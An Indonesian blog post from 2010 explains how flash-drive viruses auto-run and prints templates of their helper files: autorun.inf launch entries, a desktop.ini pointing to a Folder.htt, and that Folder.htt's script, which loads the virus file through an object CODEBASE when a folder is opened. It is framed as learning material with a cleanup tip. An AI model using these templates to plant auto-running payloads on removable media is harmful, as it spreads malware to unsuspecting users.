File Bawaan Virus

2010-03-09

Virus komputer yang menyebar di Indonesia, sebagian besar menyebar melalui Flashdisk. Oleh karena itu, untuk menjalankan virus otomatis dari Flashdisk, visrus maker biasanya menggunakan Autorun, serta bebrapa file tambahan.
Kali ini saya ingin memberikan contoh file-file yang biasanya membantu virus dalam menjalankan aksinya , yaitu :
(Tips : jika mnemukan AUTOEXEC.BAT, Edit menggunakan Note Pad, jika terdapat script aneh... hapus scriptnya. Karena harusnya File ini tidak mempunyai isi)
1. Autorun.inf
[Autorun]
Shelexecute=%FileName%

Atau
[Autorun]
Open=%FileName%
Shellexecute=%FileName%
Shell\Auto\command=%FileName%
Shell=Auto

2. Destkop.ini
[.ShellClassInfo]
ConfirmFileOp=0

[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]

PersistMoniker=%Lokasi File Folder.htt yg dibuat virus%
[ExtShellFolderViews]

[{5984FFE0-28D4-11CF-AE66-08002B2E1262}] = [{5984FFE0-28D4-11CF-AE66-08002B2E1262}]

3. Folder.htt

<html>

<Head>

<Meta htt-equip=”content-type”content=”text/html;

Charset=Windows-1252”>

</head>

<body style=”margin:0”scroll=no>

<object id=FileList border=0 tabindex=1

Classid=clsid:1820FED0-473E-11D0-A96C-00C04FD705A2”

Style=”width:100; height:100”

tabIndex=-1>

</object>

</body>

</html>

<script>

Objectstr=”<OBJECT ID=\”RUNIT\”WIDTH=0
HEIGHT=0 TYPE=\”aplication/x-oleobject\””

Objectstr+=”CODEBASE=\”%FileName%

#version=1,1,1,1\”>”

Objectstr+=”</OBJECT>”

Objectstr+=”<HTML><H1></H1></HTML>”;

Document.writeln(objectstr);

Document.close();

</script>

Semoga bisa jadi bahan pembelajaran...........
Fr377

Sidebar One

Mungkin blog ini ngak penting-penting amat buat anda...
Tapi, saya tetap berharap blog ini menjadi sangat bermanfaat untuk anda.
Karena blog ini saya buat dengan tujuan yang sangat mulia (lebay seh..), yaitu untuk membagi-bagi ilmu yang saya miliki, walupun masih sedikit banget, mengenai komputer, khususnya Programing dan network...

So... apa bila anda tidak puas dengan penjelasan saya, anda bisa mengirim email kepada saya atau bahkan datang kerumah saya (he2x...) bila anda ingin bertanya atau hanya sekedar ngomel-ngomel.

Terima Kasih.
_Fr377_

Pages

Free Download

Free Learning